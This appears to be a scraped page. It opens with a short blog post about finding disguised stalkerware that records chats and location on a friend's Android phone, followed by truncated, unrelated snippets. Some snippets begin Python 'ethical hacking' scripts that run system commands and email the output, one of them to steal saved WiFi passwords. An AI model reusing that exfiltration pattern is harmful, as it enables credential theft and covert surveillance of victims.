Android Malware Analysis

A friend of mine asked me help him to examine his Android 5.0 smartphone. He did not say what‘s wrong with his phone, and he just wonder why his wife know everything he chat on the phone, and where he has been.

I‘d like to help him to figure out if anything wrong about his phone. When I start to monitor his phone, I find a very interesting stuff running on his phone. Obviously it try to pretend that it‘s Google Play App, actually it is not...Also I could see the destination ip and port...

I start to analye and figure out where it is. Yes that‘s it..a very suspicious package-"com.example.downloader"

Look at the Manifest and it‘s really scaring. It can read/write SMS, storage, contacts, calendar,locactions, process outgoing calls, even recording audio.

Guess what? It also could record chat messages including Naver Line, Facebook, What‘s App, Skype, and WeChat. No wonder his wife knows everything he chat on the phone. You could see the Naver Line chat messages recording on its own Database as below.

I told him what I found on his phone, and he was very angry. He swore to figure out what his wife has done to his phone and when she did this. I told hime that maybe she bought this App on the internet or her friend taught her to do so.  I think the reason why she did it maybe she‘s afraid that her husband does not love her anymore. If her husband has affair with other girls and she will know immediately.  Still it‘s illeagl and it‘s not a right thing to do to the one you love.

时间： 2024-10-08 14:29:40

Android Malware Analysis的相关文章

cdmc2016数据挖掘竞赛题目Android Malware Classification

http://www.csmining.org/cdmc2016/ Data Mining Tasks Description Task 1: 2016 e-News categorisation For this year, the dataset is sourced from 6 online news media: The New Zealand Herald (www.nzherald.co.nz), Reuters(www.reuters.com), The Times (www.t

Android Auto-Boot Analysis

1.1 实现 Android 系统的自启动 1.1.1.实现自己的广播接收器,在 onReceive()方法中实现要处理的逻辑 1.1.2. AndroidManifest.xml 中注册该广播接收器,申明接收广播过滤器为Boot_Completed 广播 1.1.3.申明权限 实现 Android 的自启动与一般的广播接收没有很大区别,但是有一些要注意的地方:1.在使用 BOOT_COMPLETED 广播时,必须要 RECEIVE_BOOT_COMPLETED 权限,这是 4.0 后的修改2.

Python Ethical Hacking - Malware Analysis(2)

Filtering Command Output using Regex #!/usr/bin/env python import smtplib import subprocess import re def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.se

Python Ethical Hacking - Malware Analysis(3)

Stealing WiFi Password Saved on a Computer #!/usr/bin/env python import smtplib import subprocess import re def send_mail(email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) ser

Python Ethical Hacking - Malware Analysis(4)

DOWNLOAD_FILE Download files on a system. Once packaged properly will work on all operating systems. Simple but powerfull. Can be used in many situations: download _file + execute_command = download_and_execute download_file + execute_and_report = do

2017谷歌发现了一个潜伏了三年的Android间谍程序 ...晓安网摘

近期,Google和Lookout的安全研究专家发现了一款非常复杂的Android间谍软件,它不仅可以从手机的聊天软件中窃取用户的隐私数据,还可以通过手机的摄像头和麦克风来监视用户的一举一动.更重要的是,它还可以进行自毁操作,而正是由于这款间谍软件拥有非常智能的自毁机制,因此它在三年之后的今天才被研究人员发现.这款间谍软件名叫Chrysaor,攻击者此前曾使用这款Android间谍软件攻击以色列.格鲁吉亚.土耳其和墨西哥等国的活跃分子以及新闻记者.据称,这个间谍软件很可能是由以色列间谍公司NSO

2015年5-6月关于Android用户隐私保护的3篇顶级论文【2015.5-2015.6】

1. 土耳其Abant Izzet Baysal大学和Gazi大学的研究人员针对现有Android权限管理无法动态调整.用户难以理解权限意义等问题,提出了一种基于权限的Android恶意软件检测方法,并实现了其原型系统APKAuditor.APKAuditor的服务器端可以对用户设备中的应用和Google Play应用商店中的应用进行权限分析,并基于概率论方法对每个权限的安全性进行打分,通过公式给出应用为恶意应用的可能性分数,并通过Logistic回归方法确定恶意应用分数临界值.实验数据集采用公

Android下基于权限的恶意软件检测系统——APK Auditor

APK Auditor:Permission-based Android malware detection system, Digital Investigation(SCI,IF=0.986), 2015年6月 [1] http://www.sciencedirect.com/science/article/pii/S174228761500002X 1.1. 背景 土耳其Abant Izzet Baysal大学和Gazi大学的研究人员针对现有Android权限管理无法动态调整.用户难以理解

信息安全领域有哪些非常棒的资源？

干货大放送!Github最全渗透测试资源! 在线资源: 渗透测试资源:Metasploit Unleashed 链接地址 - 免费攻防安全metasploita课程PTES 链接地址 - 渗透测试执行标准OWASP 链接地址 - 开源Web应用安全项目 Shellcode开发:Shellcode Tutorials 链接地址 - 如何写shellcode的指导Shellcode Examples 链接地址 - Shellcode数据库 社会工程学资源:社工库框架 链接地址 - 社工所需信息资源